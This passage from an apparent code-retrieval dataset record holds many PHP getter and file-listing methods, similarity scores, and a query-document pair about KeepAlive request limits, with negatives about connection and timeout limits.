);\n\n\t\t// Cache 24 hours.\n\t\tset_transient( $this->cache_key, $files, HOUR_IN_SECONDS * 24 );\n\n\t\treturn $files;\n\t}", "public function getFiles() : array\n {\n return $this->files;\n }", "protected function getPaths(): array\n {\n $paths = array_merge([\n base_path('app'),\n base_path('modules'),\n base_path('resources'),\n base_path('routes'),\n ], (array)config('laradium.additional_translation_scan_paths', []));\n\n foreach ($paths as $i => $path) {\n if (!File::isDirectory($path)) {\n unset($paths[$i]);\n }\n }\n return $paths;\n }", "public function getFileList()\n {\n return array_map(\n function (FileEntry $file) {\n return $file->getFilename();\n },\n $this->pharchive->getFiles()\n );\n }", "public function loadFiles()\n\t{\n\t\t$files = array();\n\t\t\n\t\t$searchPath = $this->getLocalFolder().\"/*.*\";\n\t\t$filesArray = glob($searchPath);\n\t\t\n\t\tforeach($filesArray as $file)\n\t\t{\n\t\t\t$files[] = new File($file);\n\t\t}\n\t\t\n\t\treturn $files;\n\t}", "function rex_com_mediaaccess_getExtensionsSendfile()\n{\n global $REX;\n\n $classes = array();\n\n foreach($REX['ADDON']['community']['plugin_mediaaccess']['extension_sendfile_dir'] as $path)\n {\n if($dir = opendir($path))\n {\n while($file = readdir($dir))\n {\n if(!is_dir($file))\n {\n $classname = explode(\".\", $file);\n $class = $classname[1];\n\n if(file_exists($path.$file))\n {\n include_once($path.$file);\n $classes[] = $class;\n }\n }\n }\n closedir($dir);\n }\n }\n\n return $classes;\n}", "public function getFiles() {}", "public function get_file_list() {\n\t\tset_time_limit( 0 );\n\n\t\t$this->image_dir = self::_add_trailing_slash( $this->image_dir );\n\n\t\tif ( is_dir( $this->image_dir ) ) {\n $result = array();\n\t\t\t$iterator = new \\RecursiveDirectoryIterator( $this->image_dir, \\FileSystemIterator::SKIP_DOTS );\n\t\t\t$iterator = new \\RecursiveIteratorIterator( $iterator );\n\t\t\t$iterator = new \\RegexIterator( $iterator, '/^.+\\.(jpe?g|png|gif|svg)$/i', \\RecursiveRegexIterator::MATCH );\n\n\t\t\tforeach ( $iterator as $info ) {\n\t\t\t if ( $info->isFile() ) {\n $result[] = $info->getPathname();\n }\n\t\t\t}\n\n\t\t\tunset( $iterator );\n\t\t} else {\n $result = false;\n }\n\n\t\treturn $result;\n\t}", "public function get_file_list()\n {\n return array(\n 'sources_custom/hooks/systems/addon_registry/mediaelement.php',\n 'data_custom/mediaelement/flashmediaelement.swf',\n 'data_custom/mediaelement/silverlightmediaelement.xap',\n 'themes/default/css_custom/mediaelementplayer.css',\n 'themes/default/images_custom/mediaelement/background.png',\n 'themes/default/images_custom/mediaelement/bigplay.png',\n 'themes/default/images_custom/mediaelement/bigplay_svg.svg',\n 'themes/default/images_custom/mediaelement/controls.png',\n 'themes/default/images_custom/mediaelement/controls_svg.svg',\n 'themes/default/images_custom/mediaelement/jumpforward.png',\n 'themes/default/images_custom/mediaelement/loading.gif',\n 'themes/default/images_custom/mediaelement/skipback.png',\n 'themes/default/javascript_custom/mediaelement-and-player.js',\n 'themes/default/templates_custom/MEDIA_AUDIO_WEBSAFE.tpl',\n 'themes/default/templates_custom/MEDIA_VIDEO_WEBSAFE.tpl',\n );\n }", "public static function get_file_list() {\n\t\t$new_file_list = array();\n\t\t$files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator( ABSPATH ), RecursiveIteratorIterator::SELF_FIRST );\n\t\tforeach ( $files as $file ) {\n\t\t\t$file = realpath( $file );\n\t\t\tif ( File_List::in_ignore_list( $file ) ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif ( is_dir( $file) ) {\n\t\t\t\t$file .= '/';\n\t\t\t}\n\t\t\t$new_file_list[] = array( $file, File_List::INCLUDED ) ;\n\t\t}\n\t\tasort( $new_file_list );\n\t\treturn array_values( $new_file_list );\n\t}", "public function getFiles()\n {\n return isset($this->source['files']) && is_array($this->source['files']) ? $this->source['files'] : [];\n }", "public function getPaths()\n {\n return array_map(function (ScriptBranch $branch) {\n return $branch->getPath();\n }, $this->descriptorMap);\n }", "public function getFiles()\n {\n return array_keys($this->files);\n }", "function _generateFilesList() {\n return array();\n }", "public function getIncludePaths()\n\t{\n\t\tif (!is_array($this->_includePaths)) {\n\t\t\t$this->_includePaths = explode(PATH_SEPARATOR, (string)$this->_includePaths);\n\t\t}\n\t\t$paths = array();\n\t\tforeach ($this->_includePaths as $path) {\n\t\t\t$paths[] = $this->_isAbsolute($path)\n\t\t\t\t? $path\n\t\t\t\t: ($this->getAppPath() . '/' . $path);\n\t\t}\n\t\treturn $paths;\n\t}", "public function includedPaths()\n {\n if ($this->includedPaths === null) {\n return $this->defaultIncludedPaths();\n }\n\n return $this->includedPaths;\n }", "public static function files($filePath)\n\t{\n\t\t$files = [];\n\t\tforeach(scandir($filePath) as $check){\n\t\t\tif(self::isFile($check)){\n\t\t\t\t$files[] = $check;\n\t\t\t}\n\t\t}\n\n\t\treturn $files;\n\t}", "private static function file_list($d,$x){ \r\n\t\treturn array_diff(scandir(__DIR__.'/../../'.$d),array('.','..'));\r\n\t}", "function getllxmlFiles($extPath)\t{\n\n\t\t// Initialize:\n\t\t$files = array();\n\n\t\tif (!$extPath) {\n\t\t\t// Traverse extension locations:\n\t\t\tforeach($this->extPathList as $path)\t{\n\t\t\t\tif (is_dir(PATH_site . $path))\t{\n\t\t\t\t\t$files = t3lib_div::getAllFilesAndFoldersInPath($files, PATH_site . $path, 'xml');\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\t$files = t3lib_div::getAllFilesAndFoldersInPath($files, $extPath . '/', 'xml');\n\t\t}\n\n\t\t// Remove prefixes\n\t\t$files = t3lib_div::removePrefixPathFromList($files, PATH_site);\n\n\t\t// Remove all non-locallang files (looking at the prefix)\n\t\tforeach($files as $key => $value)\t{\n\t\t\tif (substr(basename($value), 0, 9) != 'locallang')\t{\n\t\t\t\tunset($files[$key]);\n\t\t\t}\n\t\t}\n\n\t\treturn $files;\n\t}", "protected function getSearchPaths() {}", "public function getFiles()\n {\n return R::findAll('upload');\n }", "public function getLogFiles()\n {\n // Check if path exists\n $path = Mage::getBaseDir('var') . DS . 'log' . DS;\n if (!file_exists($path)) {\n return array();\n }\n\n // Return file list\n $io = new Varien_Io_File();\n $io->open(\n array(\n 'path' => $path\n )\n );\n return $io->ls(Varien_Io_File::GREP_FILES);\n }", "public function getXSLFiles(){\r\n\t\tif(isset($this->xsl_path)){\r\n\t\t\t$files = t3lib_div::getFilesInDir($this->xsl_path,'xsl');\r\n\t\t\treturn $files;\r\n\t\t}else{\r\n\t\t\t//error: no xsl_path set\r\n\t\t}\r\n\t}", "public function getFileList() {\n return $this->fileList;\n }", "public function getFiles()\n {\n return $this->_files;\n }", "public function getPaths()\n\t{\n\t\treturn [\n '/containers/winnative/api/context',\n\t\t];\n\t}", "public function getPaths()\n {\n $out = array();\n $pluginsDir = $this->baseDir . '/modules';\n foreach (scandir($pluginsDir) as $f) {\n if ($f[0] != '.' && is_dir($pluginsDir . '/' . $f)) {\n $out[$f] = realpath($pluginsDir . '/' . $f);\n }\n }\n return $out;\n }", "public function files()\n {\n return $this->_array[\"files\"];\n }", "public function on_cap_xsl_get_xmlfiles ()\n {\n return $this->xmlfiles;\n }", "private function getFilenames()\n\t{\n\t\t$filenames = array();\n\n\t\tforeach ($this->filesets as $fileset)\n\t\t{\n\t\t\t$ds = $fileset->getDirectoryScanner($this->project);\n\t\t\t$ds->scan();\n\n\t\t\t$files = $ds->getIncludedFiles();\n\n\t\t\tforeach ($files as $file)\n\t\t\t{\n\t\t\t\t$filenames[] = $ds->getBaseDir() . \"/\" . $file;\n\t\t\t}\n\t\t}\n\n\t\treturn $filenames;\n\t}", "public function getIncludePaths()\n {\n return $this->filterPaths($this->includePaths);\n }", "public static function all()\n {\n return array_merge(self::$__request, self::$__files);\n }", "public function provideRealFiles()\n {\n return [\n [__FILE__]\n ];\n }", "public function listAll()\n {\n $files = \\Core\\File\\System::listFiles($this->_getPath(), \\Core\\File\\System::EXCLUDE_DIRS);\n $result = [];\n foreach (array_keys($files) as $file) {\n $result[] = pathinfo($file, PATHINFO_FILENAME);\n }\n return $result;\n }", "public function get_file_list()\n {\n return array(\n 'sources_custom/hooks/systems/addon_registry/geshi.php',\n 'sources_custom/geshi/.htaccess',\n 'sources_custom/geshi/index.html',\n 'sources_custom/geshi/4cs.php',\n 'sources_custom/geshi/abap.php',\n 'sources_custom/geshi/actionscript.php',\n 'sources_custom/geshi/actionscript3.php',\n 'sources_custom/geshi/ada.php',\n 'sources_custom/geshi/apache.php',\n 'sources_custom/geshi/applescript.php',\n 'sources_custom/geshi/apt_sources.php',\n 'sources_custom/geshi/asm.php',\n 'sources_custom/geshi/asp.php',\n 'sources_custom/geshi/autohotkey.php',\n 'sources_custom/geshi/autoit.php',\n 'sources_custom/geshi/avisynth.php',\n 'sources_custom/geshi/awk.php',\n 'sources_custom/geshi/bash.php',\n 'sources_custom/geshi/basic4gl.php',\n 'sources_custom/geshi/bf.php',\n 'sources_custom/geshi/bibtex.php',\n 'sources_custom/geshi/blitzbasic.php',\n 'sources_custom/geshi/bnf.php',\n 'sources_custom/geshi/boo.php',\n 'sources_custom/geshi/c.php',\n 'sources_custom/geshi/c_mac.php',\n 'sources_custom/geshi/caddcl.php',\n 'sources_custom/geshi/cadlisp.php',\n 'sources_custom/geshi/cfdg.php',\n 'sources_custom/geshi/cfm.php',\n 'sources_custom/geshi/cil.php',\n 'sources_custom/geshi/clojure.php',\n 'sources_custom/geshi/cmake.php',\n 'sources_custom/geshi/cobol.php',\n 'sources_custom/geshi/cpp-qt.php',\n 'sources_custom/geshi/cpp.php',\n 'sources_custom/geshi/csharp.php',\n 'sources_custom/geshi/css.php',\n 'sources_custom/geshi/cuesheet.php',\n 'sources_custom/geshi/d.php',\n 'sources_custom/geshi/dcs.php',\n 'sources_custom/geshi/delphi.php',\n 'sources_custom/geshi/diff.php',\n 'sources_custom/geshi/div.php',\n 'sources_custom/geshi/dos.php',\n 'sources_custom/geshi/dot.php',\n 'sources_custom/geshi/eiffel.php',\n 'sources_custom/geshi/email.php',\n 'sources_custom/geshi/erlang.php',\n 'sources_custom/geshi/fo.php',\n 'sources_custom/geshi/fortran.php',\n 'sources_custom/geshi/freebasic.php',\n 'sources_custom/geshi/fsharp.php',\n 'sources_custom/geshi/gambas.php',\n 'sources_custom/geshi/gdb.php',\n 'sources_custom/geshi/genero.php',\n 'sources_custom/geshi/gettext.php',\n 'sources_custom/geshi/glsl.php',\n 'sources_custom/geshi/gml.php',\n 'sources_custom/geshi/gnuplot.php',\n 'sources_custom/geshi/groovy.php',\n 'sources_custom/geshi/haskell.php',\n 'sources_custom/geshi/hq9plus.php',\n 'sources_custom/geshi/html4strict.php',\n 'sources_custom/geshi/idl.php',\n 'sources_custom/geshi/ini.php',\n 'sources_custom/geshi/inno.php',\n 'sources_custom/geshi/intercal.php',\n 'sources_custom/geshi/io.php',\n 'sources_custom/geshi/java.php',\n 'sources_custom/geshi/java5.php',\n 'sources_custom/geshi/javascript.php',\n 'sources_custom/geshi/jquery.php',\n 'sources_custom/geshi/kixtart.php',\n 'sources_custom/geshi/klonec.php',\n 'sources_custom/geshi/klonecpp.php',\n 'sources_custom/geshi/latex.php',\n 'sources_custom/geshi/lisp.php',\n 'sources_custom/geshi/locobasic.php',\n 'sources_custom/geshi/logtalk.php',\n 'sources_custom/geshi/lolcode.php',\n 'sources_custom/geshi/lotusformulas.php',\n 'sources_custom/geshi/lotusscript.php',\n 'sources_custom/geshi/lscript.php',\n 'sources_custom/geshi/lsl2.php',\n 'sources_custom/geshi/lua.php',\n 'sources_custom/geshi/m68k.php',\n 'sources_custom/geshi/make.php',\n 'sources_custom/geshi/mapbasic.php',\n 'sources_custom/geshi/matlab.php',\n 'sources_custom/geshi/mirc.php',\n 'sources_custom/geshi/mmix.php',\n 'sources_custom/geshi/modula3.php',\n 'sources_custom/geshi/mpasm.php',\n 'sources_custom/geshi/mxml.php',\n 'sources_custom/geshi/mysql.php',\n 'sources_custom/geshi/newlisp.php',\n 'sources_custom/geshi/nsis.php',\n 'sources_custom/geshi/oberon2.php',\n 'sources_custom/geshi/objc.php',\n 'sources_custom/geshi/ocaml-brief.php',\n 'sources_custom/geshi/ocaml.php',\n 'sources_custom/geshi/oobas.php',\n 'sources_custom/geshi/oracle11.php',\n 'sources_custom/geshi/oracle8.php',\n 'sources_custom/geshi/pascal.php',\n 'sources_custom/geshi/per.php',\n 'sources_custom/geshi/perl.php',\n 'sources_custom/geshi/perl6.php',\n 'sources_custom/geshi/php-brief.php',\n 'sources_custom/geshi/php.php',\n 'sources_custom/geshi/pic16.php',\n 'sources_custom/geshi/pike.php',\n 'sources_custom/geshi/pixelbender.php',\n 'sources_custom/geshi/plsql.php',\n 'sources_custom/geshi/povray.php',\n 'sources_custom/geshi/powerbuilder.php',\n 'sources_custom/geshi/powershell.php',\n 'sources_custom/geshi/progress.php',\n 'sources_custom/geshi/prolog.php',\n 'sources_custom/geshi/properties.php',\n 'sources_custom/geshi/providex.php',\n 'sources_custom/geshi/purebasic.php',\n 'sources_custom/geshi/python.php',\n 'sources_custom/geshi/qbasic.php',\n 'sources_custom/geshi/rails.php',\n 'sources_custom/geshi/rebol.php',\n 'sources_custom/geshi/reg.php',\n 'sources_custom/geshi/robots.php',\n 'sources_custom/geshi/rsplus.php',\n 'sources_custom/geshi/ruby.php',\n 'sources_custom/geshi/sas.php',\n 'sources_custom/geshi/scala.php',\n 'sources_custom/geshi/scheme.php',\n 'sources_custom/geshi/scilab.php',\n 'sources_custom/geshi/sdlbasic.php',\n 'sources_custom/geshi/smalltalk.php',\n 'sources_custom/geshi/smarty.php',\n 'sources_custom/geshi/sql.php',\n 'sources_custom/geshi/systemverilog.php',\n 'sources_custom/geshi/tcl.php',\n 'sources_custom/geshi/teraterm.php',\n 'sources_custom/geshi/text.php',\n 'sources_custom/geshi/thinbasic.php',\n 'sources_custom/geshi/tsql.php',\n 'sources_custom/geshi/typoscript.php',\n 'sources_custom/geshi/vb.php',\n 'sources_custom/geshi/vbnet.php',\n 'sources_custom/geshi/verilog.php',\n 'sources_custom/geshi/vhdl.php',\n 'sources_custom/geshi/vim.php',\n 'sources_custom/geshi/visualfoxpro.php',\n 'sources_custom/geshi/visualprolog.php',\n 'sources_custom/geshi/whitespace.php',\n 'sources_custom/geshi/whois.php',\n 'sources_custom/geshi/winbatch.php',\n 'sources_custom/geshi/xml.php',\n 'sources_custom/geshi/xorg_conf.php',\n 'sources_custom/geshi/xpp.php',\n 'sources_custom/geshi/z80.php',\n 'sources_custom/geshi.php',\n 'sources_custom/geshi/.gitignore',\n 'sources_custom/geshi/6502acme.php',\n 'sources_custom/geshi/6502kickass.php',\n 'sources_custom/geshi/6502tasm.php',\n 'sources_custom/geshi/68000devpac.php',\n 'sources_custom/geshi/aimms.php',\n 'sources_custom/geshi/algol68.php',\n 'sources_custom/geshi/arm.php',\n 'sources_custom/geshi/asymptote.php',\n 'sources_custom/geshi/autoconf.php',\n 'sources_custom/geshi/bascomavr.php',\n 'sources_custom/geshi/c_loadrunner.php',\n 'sources_custom/geshi/c_winapi.php',\n 'sources_custom/geshi/chaiscript.php',\n 'sources_custom/geshi/chapel.php',\n 'sources_custom/geshi/coffeescript.php',\n 'sources_custom/geshi/cpp-winapi.php',\n 'sources_custom/geshi/dart.php',\n 'sources_custom/geshi/dcl.php',\n 'sources_custom/geshi/dcpu16.php',\n 'sources_custom/geshi/e.php',\n 'sources_custom/geshi/ecmascript.php',\n 'sources_custom/geshi/epc.php',\n 'sources_custom/geshi/euphoria.php',\n 'sources_custom/geshi/ezt.php',\n 'sources_custom/geshi/f1.php',\n 'sources_custom/geshi/falcon.php',\n 'sources_custom/geshi/freeswitch.php',\n 'sources_custom/geshi/genie.php',\n 'sources_custom/geshi/go.php',\n 'sources_custom/geshi/gwbasic.php',\n 'sources_custom/geshi/haxe.php',\n 'sources_custom/geshi/hicest.php',\n 'sources_custom/geshi/html5.php',\n 'sources_custom/geshi/icon.php',\n 'sources_custom/geshi/ispfpanel.php',\n 'sources_custom/geshi/j.php',\n 'sources_custom/geshi/jcl.php',\n 'sources_custom/geshi/lb.php',\n 'sources_custom/geshi/ldif.php',\n 'sources_custom/geshi/llvm.php',\n 'sources_custom/geshi/magiksf.php',\n 'sources_custom/geshi/modula2.php',\n 'sources_custom/geshi/nagios.php',\n 'sources_custom/geshi/netrexx.php',\n 'sources_custom/geshi/nginx.php',\n 'sources_custom/geshi/nimrod.php',\n 'sources_custom/geshi/objeck.php',\n 'sources_custom/geshi/octave.php',\n 'sources_custom/geshi/oorexx.php',\n 'sources_custom/geshi/oxygene.php',\n 'sources_custom/geshi/oz.php',\n 'sources_custom/geshi/parasail.php',\n 'sources_custom/geshi/parigp.php',\n 'sources_custom/geshi/pcre.php',\n 'sources_custom/geshi/pf.php',\n 'sources_custom/geshi/pli.php',\n 'sources_custom/geshi/postgresql.php',\n 'sources_custom/geshi/postscript.php',\n 'sources_custom/geshi/proftpd.php',\n 'sources_custom/geshi/pycon.php',\n 'sources_custom/geshi/pys60.php',\n 'sources_custom/geshi/q.php',\n 'sources_custom/geshi/qml.php',\n 'sources_custom/geshi/racket.php',\n 'sources_custom/geshi/rbs.php',\n 'sources_custom/geshi/rexx.php',\n 'sources_custom/geshi/rpmspec.php',\n 'sources_custom/geshi/rust.php',\n 'sources_custom/geshi/scl.php',\n 'sources_custom/geshi/spark.php',\n 'sources_custom/geshi/sparql.php',\n 'sources_custom/geshi/standardml.php',\n 'sources_custom/geshi/stonescript.php',\n 'sources_custom/geshi/unicon.php',\n 'sources_custom/geshi/upc.php',\n 'sources_custom/geshi/urbi.php',\n 'sources_custom/geshi/uscript.php',\n 'sources_custom/geshi/vala.php',\n 'sources_custom/geshi/vbscript.php',\n 'sources_custom/geshi/vedit.php',\n 'sources_custom/geshi/xbasic.php',\n 'sources_custom/geshi/yaml.php',\n 'sources_custom/geshi/zxbasic.php',\n );\n }", "public function getTestFilePaths() {\n return $this->testFilePaths;\n }", "public function getRemoteExtListFile() {}", "public function getUserFiles()\n {\n $user_files = Helper::getUserFiles();\n return $user_files;\n }", "public function getFiles(): array\n {\n try {\n if (count($this->_filesCollection) === 0) {\n $path = $this->_flysystemHelper->getCurrentPath();\n\n $contents = $this->_flysystemManager->getAdapter()->listContents($path);\n foreach ($contents as $file) {\n if ($this->validateFile($file)) {\n $this->_filesCollection[] = $file;\n }\n }\n }\n } catch (\\Exception $e) {\n $this->_messageManager->addErrorMessage($e->getMessage());\n return [];\n }\n\n return $this->_filesCollection;\n }", "public function getFiles()\n {\n return $this->_configFiles;\n }", "public function getFiles()\n {\n $result = array();\n foreach ($this->_subdirectories as $directory) {\n $result = array_merge(\n $result,\n array_map(\n array($this, '_prependDirectory'),\n $directory->getFiles()\n )\n );\n }\n $result = array_merge(\n $result,\n array_map(\n array($this, '_prependDirectory'),\n array_keys($this->_files)\n )\n );\n return $result;\n }", "public function getFiles()\n {\n return $this->files;\n }", "public function getFiles()\n {\n return $this->files;\n }", "public function getFiles()\n {\n return $this->files;\n }", "public function getFiles()\n {\n return $this->files;\n }", "public function getFiles()\n {\n return $this->files;\n }", "public function getFiles()\n {\n return $this->files;\n }", "public function getFiles()\n {\n return $this->files;\n }", "public function getFiles()\n {\n return $this->files;\n }", "public function getFiles()\n {\n return $this->files;\n }" ]
[ "0.66162944", "0.6567059", "0.6561348", "0.6464385", "0.6464098", "0.6408907", "0.6354905", "0.6340888", "0.63334733", "0.6308133", "0.6256872", "0.62493", "0.62493", "0.6247828", "0.6246778", "0.6213495", "0.6192444", "0.61869603", "0.61307496", "0.61296743", "0.61213833", "0.60838926", "0.6079984", "0.6065066", "0.60512614", "0.60485893", "0.604116", "0.6038561", "0.6030427", "0.60059184", "0.59914106", "0.59786", "0.59783244", "0.5977139", "0.5971822", "0.59692574", "0.59598136", "0.5959173", "0.59533536", "0.5953152", "0.59518075", "0.59458566", "0.5942487", "0.5941192", "0.59300643", "0.59166515", "0.59166515", "0.59166515", "0.59158266", "0.5908232", "0.5900134", "0.5898591", "0.589595", "0.5887016", "0.5876824", "0.5875774", "0.58653075", "0.58604467", "0.58595884", "0.58587766", "0.58568496", "0.5853061", "0.58462757", "0.58457017", "0.5836338", "0.58301944", "0.58262557", "0.58241236", "0.5822247", "0.5813958", "0.5811494", "0.5806894", "0.5792505", "0.57882977", "0.5784367", "0.57835335", "0.578307", "0.57772446", "0.57741207", "0.57682085", "0.5767266", "0.5764626", "0.5763906", "0.5763714", "0.5762561", "0.5755737", "0.5754486", "0.5754434", "0.5744845", "0.57367516", "0.5736437", "0.57349527", "0.57349527", "0.57349527", "0.57349527", "0.57349527", "0.57349527", "0.57349527", "0.57349527", "0.57349527" ]
0.808459
0
Returns the maximum number of requests allowed for KeepAlive connections.
public static function getMaxRequests() { return MHTTPD::$config['Server']['keep_alive_max_requests']; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function max_connections()\n {\n $channel = ChannelRepository::getPublic($this);\n\n return $channel->max_connections;\n }", "public function getMaxConnections() {\n return @$this->attributes['max_connections'];\n }", "public function getMaxInstanceRequestConcurrency()\n {\n return $this->max_instance_request_concurrency;\n }", "public static function getAliveTimeout()\n\t{\n\t\treturn MHTTPD::$config['Server']['keep_alive_timeout'];\n\t}", "public function getServerFailureLimit()\n {\n return $this->serverFailureLimit;\n }", "public function maxTries() {\n\t\treturn 1;\n\t}", "public function getMaxConnectionsPerIp()\n {\n return $this->_maxConnectionsPerIp;\n }", "public function count() {\n return sizeof(self::$connections);\n }", "public function getMaxRetries()\n {\n return $this->_maxRetries;\n }", "public function getconnectioncount()\n\t{\n\t\treturn $this->connect('getconnectioncount');\n\t}", "public function get_maximum_tries() {\n $max = 1;\n foreach ($this->get_response_class_ids() as $responseclassid) {\n $max = max($max, $this->get_response_class($responseclassid)->get_maximum_tries());\n }\n return $max;\n }", "public function getMaxClients()\n {\n return $this->_maxClients;\n }", "public function getRequestCount()\n {\n return $this->requestCount;\n }", "final public static function HpsMaximumNumberOfRetryTransactionWasBreached()\n {\n return self::get(822);\n }", "function get_number_of_requests() {\n return CourseRequestManager::count_course_requests(COURSE_REQUEST_REJECTED);\n}", "public function getIdleWorkerCount(): int;", "protected function maxLoginAttempts()\n {\n return Arr::get(static::$config, 'attempts', 5);\n }", "public function getMaxConfs()\n {\n return $this->max_confs;\n }", "public function getRateLimitLimit(): int\n {\n return $this->httpClient->getRateLimitLimit();\n }", "public function getNotificationCounterMax()\n {\n return self::NOTIFICATIONS_COUNTER_MAX;\n }", "public function getMaxAllowedPacket(): int\n {\n if (!isset($this->maxAllowedPacket))\n {\n $query = \"show variables like 'max_allowed_packet'\";\n $max_allowed_packet = $this->executeRow1($query);\n\n $this->maxAllowedPacket = $max_allowed_packet['Value'];\n\n // Note: When setting $chunkSize equal to $maxAllowedPacket it is not possible to transmit a LOB\n // with size $maxAllowedPacket bytes (but only $maxAllowedPacket - 8 bytes). But when setting the size of\n // $chunkSize less than $maxAllowedPacket than it is possible to transmit a LOB with size\n // $maxAllowedPacket bytes.\n $this->chunkSize = (int)min($this->maxAllowedPacket - 8, 1024 * 1024);\n }\n\n return (int)$this->maxAllowedPacket;\n }", "public function getConnectionCount();", "public function getNumberOfRequests()\n {\n return array_sum($this->numberOfRequestsByPattern);\n }", "public function maxTries();", "public function getHttpHeartbeatTimeout()\n {\n return $this->httpHeartbeatTimeout;\n }", "public function getHeartbeatInterval(): int\n {\n }", "public function getconnectioncount() {\n return $this->bitcoin->getconnectioncount();\n }", "function http_persistent_handles_count() {}", "public function getMaxReplicas(): int {\n return $this->maxReplicas;\n }", "function rate_limit($key, $interval, $max, $error = 'Slow down a bit, yo.')\n{\n $unit = round(time() / $interval);\n $key .= '-'.$unit;\n $count = 0;\n\n if (apcu_exists($key)) {\n $count = apcu_fetch($key);\n if ($count >= $max) {\n throw new Exception($error);\n }\n }\n\n $count++;\n apcu_store($key, $count, $interval);\n\n return $count;\n}", "function rate_limit($key, $interval, $max, $error = 'Slow down a bit, yo.')\n{\n $unit = round(time() / $interval);\n $key .= '-'.$unit;\n $count = 0;\n\n if (apcu_exists($key)) {\n $count = apcu_fetch($key);\n if ($count >= $max) {\n throw new Exception($error);\n }\n }\n\n $count++;\n apcu_store($key, $count, $interval);\n\n return $count;\n}", "function bump_request_timeout() {\n\t\treturn 60;\n\t}", "public function httpConnections()\n {\n if (function_exists('exec')) {\n $www_total_count = 0;\n $unique = [];\n $command = 'netstat -an '\n . '| egrep \\':80|:443\\' '\n . '| awk \\'{print $5}\\' '\n . '| grep -v \\':::\\*\\' '\n . '| grep -v \\'0.0.0.0\\'';\n @exec($command, $results);\n foreach ($results as $result) {\n $array = explode(':', $result);\n $www_total_count ++;\n if (preg_match('/^::/', $result)) {\n $ipaddr = $array[3];\n } else {\n $ipaddr = $array[0];\n }\n if (!in_array($ipaddr, $unique)) {\n $unique[] = $ipaddr;\n $www_unique_count ++;\n }\n }\n unset($results);\n $this->httpconnections = count($unique);\n return $this->httpconnections;\n }\n return 0;\n }", "public function getMaxOpenHandles() {}", "public function getMaxNodeCount()\n {\n return $this->max_node_count;\n }", "protected function limit()\n {\n if (count($this->clients) > $this->limit)\n {\n $this->log->info(\"Limit connection exceeded!\");\n\n $this->conn->send('Limit connection exceeded!');\n\n $this->conn->close();\n }\n }", "public function maxAttempts()\n {\n return property_exists($this, 'maxAttempts') ? $this->maxAttempts : 5;\n }", "public function maxAttempts(): int\n {\n return 5;\n }", "function max_allowed_packet() {\n\t\treturn 850000;\n\t}", "public function getMaxAllowedPacket()\n\t{\n\t\treturn PHP_INT_MAX;\n\t}", "public function limit(): int\n {\n return $this->limit;\n }", "public function getLimitReached() {\n return $this->_limitReached = (((int) self::model()->countByAttributes(array('ip'=>$this->ipAddr))) >= self::MAX_REQUESTS);\n }", "public function get_limit() {\n\t\t// This matches the maximum number of indexables created by this action.\n\t\treturn 4;\n\t}", "public function getMaxLimit()\n {\n return $this->max_limit;\n }", "protected function getPostMaxSize(): int\n {\n if (is_numeric($postMaxSize = ini_get('post_max_size'))) {\n return (int) $postMaxSize;\n }\n \n $metric = strtoupper(substr($postMaxSize, -1));\n $postMaxSize = (int) $postMaxSize;\n \n return match ($metric) {\n 'K', 'k' => $postMaxSize * 1024,\n 'M', 'm' => $postMaxSize * 1048576,\n 'G', 'g' => $postMaxSize * 1073741824,\n default => $postMaxSize,\n };\n }", "function getRequestTimeout()\n {\n return $this->_props['RequestTimeout'];\n }", "public function setMaxConnections($cons)\n {\n if (function_exists('curl_multi_setopt')) {\n $this->_multi->setopt(CURLMOPT_MAXCONNECTS, $cons);\n }\n $this->_threshold = $cons;\n return $this;\n }", "public function getRateLimitRemaining(): int\n {\n return $this->httpClient->getRateLimitRemaining();\n }", "public function getMaximumAttempts();", "public function numberOfHostEntries()\n {\n return (int)$this->prepareRequest()->GetHostNumberOfEntries();\n }", "public function getMaxAttemptTimes(): int\n {\n return 3;\n }", "public function get_request_timeout(): float {\n $duration = get_config('realtimeplugin_phppoll', 'requesttimeout');\n return (isset($duration) && $duration !== false) ? (float)$duration : 30;\n }", "public function getPoolSize();", "public function getIdleTimeoutMs()\n {\n return $this->IdleTimeoutMs;\n }", "public function count()\n {\n return count($this->requests);\n }", "public function getCookiesTimeOut() \n {\n $cookiesTimeout = Mage::getStoreConfig(self::XML_PATH_COOKIES_TIMEOUT);\n return $cookiesTimeout;\n }", "protected function maxFiles()\n {\n if ($this->app->bound('config')) {\n return $this->app->make('config')->get('app.log_max_files', 5);\n }\n\n return 0;\n }", "public function getMaxcount()\n {\n return $this->maxCount;\n }", "public function getMaxStaleAge(): ?int\n {\n return $this->max_stale;\n }", "protected function getMaxAge(): int\r\n {\r\n $maxAge = $this->expire - time();\r\n\r\n return 0 >= $maxAge ? 0 : $maxAge;\r\n }", "public function getLimit() : int\n {\n return $this->limit;\n }", "public static function getRemainingRequests()\n {\n return self::$db->fetchOne(self::REQUESTS_REMAINING_SQL, self::getRemainingRequestsParams())['remaining'];\n }", "protected function getPostMaxSize()\n {\n if (is_numeric($postMaxSize = ini_get('post_max_size'))) {\n return (int)$postMaxSize;\n }\n\n $metric = strtoupper(substr($postMaxSize, -1));\n\n switch ($metric) {\n case 'K':\n return (int)$postMaxSize * 1024;\n case 'M':\n return (int)$postMaxSize * 1048576;\n default:\n return (int)$postMaxSize;\n }\n }", "public function getConnectTimeout();", "public static function getPostMaxSize(): int\n {\n $result = static::getIniValue('post_max_size');\n $result = Convert::valueToBytes($result);\n\n return $result;\n }", "private function _getChannelLimit()\n {\n return Yii::$app->params['channelLimit'];\n }", "public static function getDefaultLimit()\n {\n return config('consts.DefaultLimit');\n }", "public function getCachedServersCountAttribute(): int\n {\n return Cache::remember($this->cacheKey().':servers_count', 10, function () {\n return $this->servers()->count();\n });\n }", "public function getMaxTtl()\n {\n return isset($this->max_ttl) ? $this->max_ttl : 0;\n }", "public function get_blinkSeqMaxSize(): int\n {\n // $res is a int;\n if ($this->_cacheExpiration == 0) {\n if ($this->load(YAPI::$_yapiContext->GetCacheValidity()) != YAPI::SUCCESS) {\n return self::BLINKSEQMAXSIZE_INVALID;\n }\n }\n $res = $this->_blinkSeqMaxSize;\n return $res;\n }", "public function limit($client_limit = NULL) {\n\n return 1000;\n }", "public function getConnectTimeout(): float\n {\n }", "public function getPrefetchSize()\n {\n return $this->prefetchSize;\n }", "public function getPrefetchSize()\n {\n return $this->prefetchSize;\n }", "public function getPostDeliveryLimit(){\n\n return $this->client->makeRequest('PostDeliveryLimit', 'GET');\n }", "public function count(): int\n {\n return 